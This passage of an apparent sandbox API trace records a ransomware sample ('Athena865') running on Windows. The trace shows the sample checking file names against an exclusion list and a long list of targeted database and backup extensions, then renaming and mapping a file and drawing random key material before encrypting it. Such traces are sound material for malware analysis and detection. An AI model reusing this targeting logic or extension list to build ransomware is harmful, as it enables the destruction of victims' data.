lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2=".") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="..") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="windows") returned -1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="bootmgr") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="temp") returned -1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="pagefile.sys") returned -1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="boot") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="ids.txt") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="ntuser.dat") returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="perflogs") returned -1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2="MSBuild") returned 1 [0139.363] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0139.363] lstrcpyW (in: lpString1=0x241e8aa, lpString2="OFFICE10.DLL" | out: lpString1="OFFICE10.DLL") returned="OFFICE10.DLL" [0139.363] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0139.363] lstrlenW (lpString="Athena865") returned 9 [0139.364] lstrcmpiW (lpString1="ICE10.DLL", lpString2="Athena865") returned 1 [0139.364] lstrlenW (lpString=".dll") returned 4 [0139.364] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2=".dll") returned 1 [0139.364] lstrlenW (lpString=".lnk") returned 4 [0139.364] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2=".lnk") returned 1 [0139.364] lstrlenW (lpString=".ini") returned 4 [0139.364] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2=".ini") returned 1 [0139.364] lstrlenW (lpString=".sys") returned 4 [0139.364] lstrcmpiW (lpString1="OFFICE10.DLL", lpString2=".sys") returned 1 [0139.364] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0139.364] lstrlenW (lpString="bak") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0139.364] lstrlenW (lpString="ba_") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0139.364] lstrlenW (lpString="dbb") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0139.364] lstrlenW (lpString="vmdk") returned 4 [0139.364] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0139.364] lstrlenW (lpString="rar") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0139.364] lstrlenW (lpString="zip") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0139.364] lstrlenW (lpString="tgz") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0139.364] lstrlenW (lpString="vbox") returned 4 [0139.364] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0139.364] lstrlenW (lpString="vdi") returned 3 [0139.364] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0139.364] lstrlenW (lpString="vhd") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0139.365] lstrlenW (lpString="vhdx") returned 4 [0139.365] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0139.365] lstrlenW (lpString="avhd") returned 4 [0139.365] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0139.365] lstrlenW (lpString="db") returned 2 [0139.365] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0139.365] lstrlenW (lpString="db2") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0139.365] lstrlenW (lpString="db3") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0139.365] lstrlenW (lpString="dbf") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0139.365] lstrlenW (lpString="mdf") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0139.365] lstrlenW (lpString="mdb") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0139.365] lstrlenW (lpString="sql") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0139.365] lstrlenW (lpString="sqlite") returned 6 [0139.365] lstrcmpiW (lpString1="10.DLL", lpString2="sqlite") returned -1 [0139.365] lstrlenW (lpString="sqlite3") returned 7 [0139.365] lstrcmpiW (lpString1="E10.DLL", lpString2="sqlite3") returned -1 [0139.365] lstrlenW (lpString="sqlitedb") returned 8 [0139.365] lstrcmpiW (lpString1="CE10.DLL", lpString2="sqlitedb") returned -1 [0139.365] lstrlenW (lpString="xml") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0139.365] lstrlenW (lpString="$er") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0139.365] lstrlenW (lpString="4dd") returned 3 [0139.365] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0139.366] lstrlenW (lpString="4dl") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0139.366] lstrlenW (lpString="^^^") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0139.366] lstrlenW (lpString="abs") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0139.366] lstrlenW (lpString="abx") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0139.366] lstrlenW (lpString="accdb") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0139.366] lstrlenW (lpString="accdc") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0139.366] lstrlenW (lpString="accde") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0139.366] lstrlenW (lpString="accdr") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0139.366] lstrlenW (lpString="accdt") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0139.366] lstrlenW (lpString="accdw") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0139.366] lstrlenW (lpString="accft") returned 5 [0139.366] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0139.366] lstrlenW (lpString="adb") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0139.366] lstrlenW (lpString="adb") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0139.366] lstrlenW (lpString="ade") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0139.366] lstrlenW (lpString="adf") returned 3 [0139.366] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0139.366] lstrlenW (lpString="adn") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0139.367] lstrlenW (lpString="adp") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0139.367] lstrlenW (lpString="alf") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0139.367] lstrlenW (lpString="ask") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0139.367] lstrlenW (lpString="btr") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0139.367] lstrlenW (lpString="cat") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0139.367] lstrlenW (lpString="cdb") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0139.367] lstrlenW (lpString="ckp") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0139.367] lstrlenW (lpString="cma") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0139.367] lstrlenW (lpString="cpd") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0139.367] lstrlenW (lpString="dacpac") returned 6 [0139.367] lstrcmpiW (lpString1="10.DLL", lpString2="dacpac") returned -1 [0139.367] lstrlenW (lpString="dad") returned 3 [0139.367] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0139.367] lstrlenW (lpString="dadiagrams") returned 10 [0139.367] lstrcmpiW (lpString1="FICE10.DLL", lpString2="dadiagrams") returned 1 [0139.367] lstrlenW (lpString="daschema") returned 8 [0139.367] lstrcmpiW (lpString1="CE10.DLL", lpString2="daschema") returned -1 [0139.367] lstrlenW (lpString="db-journal") returned 10 [0139.367] lstrcmpiW (lpString1="FICE10.DLL", lpString2="db-journal") returned 1 [0139.368] lstrlenW (lpString="db-shm") returned 6 [0139.368] lstrcmpiW (lpString1="10.DLL", lpString2="db-shm") returned -1 [0139.368] lstrlenW (lpString="db-wal") returned 6 [0139.368] lstrcmpiW (lpString1="10.DLL", lpString2="db-wal") returned -1 [0139.368] lstrlenW (lpString="dbc") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0139.368] lstrlenW (lpString="dbs") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0139.368] lstrlenW (lpString="dbt") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0139.368] lstrlenW (lpString="dbv") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0139.368] lstrlenW (lpString="dbx") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0139.368] lstrlenW (lpString="dcb") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0139.368] lstrlenW (lpString="dct") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0139.368] lstrlenW (lpString="dcx") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0139.368] lstrlenW (lpString="ddl") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0139.368] lstrlenW (lpString="dlis") returned 4 [0139.368] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0139.368] lstrlenW (lpString="dp1") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0139.368] lstrlenW (lpString="dqy") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0139.368] lstrlenW (lpString="dsk") returned 3 [0139.368] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0139.369] lstrlenW (lpString="dsn") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0139.369] lstrlenW (lpString="dtsx") returned 4 [0139.369] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0139.369] lstrlenW (lpString="dxl") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0139.369] lstrlenW (lpString="eco") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0139.369] lstrlenW (lpString="ecx") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0139.369] lstrlenW (lpString="edb") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0139.369] lstrlenW (lpString="epim") returned 4 [0139.369] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0139.369] lstrlenW (lpString="fcd") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0139.369] lstrlenW (lpString="fdb") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0139.369] lstrlenW (lpString="fic") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0139.369] lstrlenW (lpString="flexolibrary") returned 12 [0139.369] lstrlenW (lpString="fm5") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0139.369] lstrlenW (lpString="fmp") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0139.369] lstrlenW (lpString="fmp12") returned 5 [0139.369] lstrcmpiW (lpString1="0.DLL", lpString2="fmp12") returned -1 [0139.369] lstrlenW (lpString="fmpsl") returned 5 [0139.369] lstrcmpiW (lpString1="0.DLL", lpString2="fmpsl") returned -1 [0139.369] lstrlenW (lpString="fol") returned 3 [0139.369] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0139.370] lstrlenW (lpString="fp3") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0139.370] lstrlenW (lpString="fp4") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0139.370] lstrlenW (lpString="fp5") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0139.370] lstrlenW (lpString="fp7") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0139.370] lstrlenW (lpString="fpt") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0139.370] lstrlenW (lpString="frm") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0139.370] lstrlenW (lpString="gdb") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0139.370] lstrlenW (lpString="gdb") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0139.370] lstrlenW (lpString="grdb") returned 4 [0139.370] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0139.370] lstrlenW (lpString="gwi") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0139.370] lstrlenW (lpString="hdb") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0139.370] lstrlenW (lpString="his") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0139.370] lstrlenW (lpString="ib") returned 2 [0139.370] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0139.370] lstrlenW (lpString="idb") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0139.370] lstrlenW (lpString="ihx") returned 3 [0139.370] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0139.371] lstrlenW (lpString="itdb") returned 4 [0139.371] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0139.371] lstrlenW (lpString="itw") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0139.371] lstrlenW (lpString="jet") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0139.371] lstrlenW (lpString="jtx") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0139.371] lstrlenW (lpString="kdb") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0139.371] lstrlenW (lpString="kexi") returned 4 [0139.371] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0139.371] lstrlenW (lpString="kexic") returned 5 [0139.371] lstrcmpiW (lpString1="0.DLL", lpString2="kexic") returned -1 [0139.371] lstrlenW (lpString="kexis") returned 5 [0139.371] lstrcmpiW (lpString1="0.DLL", lpString2="kexis") returned -1 [0139.371] lstrlenW (lpString="lgc") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0139.371] lstrlenW (lpString="lwx") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0139.371] lstrlenW (lpString="maf") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0139.371] lstrlenW (lpString="maq") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0139.371] lstrlenW (lpString="mar") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0139.371] lstrlenW (lpString="marshal") returned 7 [0139.371] lstrcmpiW (lpString1="E10.DLL", lpString2="marshal") returned -1 [0139.371] lstrlenW (lpString="mas") returned 3 [0139.371] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0139.372] lstrlenW (lpString="mav") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0139.372] lstrlenW (lpString="maw") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0139.372] lstrlenW (lpString="mdbhtml") returned 7 [0139.372] lstrcmpiW (lpString1="E10.DLL", lpString2="mdbhtml") returned -1 [0139.372] lstrlenW (lpString="mdn") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0139.372] lstrlenW (lpString="mdt") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0139.372] lstrlenW (lpString="mfd") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0139.372] lstrlenW (lpString="mpd") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0139.372] lstrlenW (lpString="mrg") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0139.372] lstrlenW (lpString="mud") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0139.372] lstrlenW (lpString="mwb") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0139.372] lstrlenW (lpString="myd") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0139.372] lstrlenW (lpString="ndf") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0139.372] lstrlenW (lpString="nnt") returned 3 [0139.372] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0139.372] lstrlenW (lpString="nrmlib") returned 6 [0139.372] lstrcmpiW (lpString1="10.DLL", lpString2="nrmlib") returned -1 [0139.373] lstrlenW (lpString="ns2") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0139.373] lstrlenW (lpString="ns3") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0139.373] lstrlenW (lpString="ns4") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0139.373] lstrlenW (lpString="nsf") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0139.373] lstrlenW (lpString="nv") returned 2 [0139.373] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0139.373] lstrlenW (lpString="nv2") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0139.373] lstrlenW (lpString="nwdb") returned 4 [0139.373] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0139.373] lstrlenW (lpString="nyf") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0139.373] lstrlenW (lpString="odb") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0139.373] lstrlenW (lpString="odb") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0139.373] lstrlenW (lpString="oqy") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0139.373] lstrlenW (lpString="ora") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0139.373] lstrlenW (lpString="orx") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0139.373] lstrlenW (lpString="owc") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0139.373] lstrlenW (lpString="p96") returned 3 [0139.373] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0139.374] lstrlenW (lpString="p97") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0139.374] lstrlenW (lpString="pan") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0139.374] lstrlenW (lpString="pdb") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0139.374] lstrlenW (lpString="pdm") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0139.374] lstrlenW (lpString="pnz") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0139.374] lstrlenW (lpString="qry") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0139.374] lstrlenW (lpString="qvd") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0139.374] lstrlenW (lpString="rbf") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0139.374] lstrlenW (lpString="rctd") returned 4 [0139.374] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0139.374] lstrlenW (lpString="rod") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0139.374] lstrlenW (lpString="rodx") returned 4 [0139.374] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0139.374] lstrlenW (lpString="rpd") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0139.374] lstrlenW (lpString="rsd") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0139.374] lstrlenW (lpString="sas7bdat") returned 8 [0139.374] lstrcmpiW (lpString1="CE10.DLL", lpString2="sas7bdat") returned -1 [0139.374] lstrlenW (lpString="sbf") returned 3 [0139.374] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0139.375] lstrlenW (lpString="scx") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0139.375] lstrlenW (lpString="sdb") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0139.375] lstrlenW (lpString="sdc") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0139.375] lstrlenW (lpString="sdf") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0139.375] lstrlenW (lpString="sis") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0139.375] lstrlenW (lpString="spq") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0139.375] lstrlenW (lpString="te") returned 2 [0139.375] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0139.375] lstrlenW (lpString="teacher") returned 7 [0139.375] lstrcmpiW (lpString1="E10.DLL", lpString2="teacher") returned -1 [0139.375] lstrlenW (lpString="tmd") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0139.375] lstrlenW (lpString="tps") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0139.375] lstrlenW (lpString="trc") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0139.375] lstrlenW (lpString="trc") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0139.375] lstrlenW (lpString="trm") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0139.375] lstrlenW (lpString="udb") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0139.375] lstrlenW (lpString="udl") returned 3 [0139.375] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0139.376] lstrlenW (lpString="usr") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0139.376] lstrlenW (lpString="v12") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0139.376] lstrlenW (lpString="vis") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0139.376] lstrlenW (lpString="vpd") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0139.376] lstrlenW (lpString="vvv") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0139.376] lstrlenW (lpString="wdb") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0139.376] lstrlenW (lpString="wmdb") returned 4 [0139.376] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0139.376] lstrlenW (lpString="wrk") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0139.376] lstrlenW (lpString="xdb") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0139.376] lstrlenW (lpString="xld") returned 3 [0139.376] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0139.376] lstrlenW (lpString="xmlff") returned 5 [0139.376] lstrcmpiW (lpString1="0.DLL", lpString2="xmlff") returned -1 [0139.376] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.Athena865") returned 71 [0139.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.athena865"), dwFlags=0x1) returned 1 [0139.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.378] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15776) returned 1 [0139.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.378] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.379] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.379] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.379] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40a0, lpName=0x0) returned 0x154 [0139.381] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40a0) returned 0x100000 [0139.382] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.383] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.383] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.384] UnmapViewOfFile 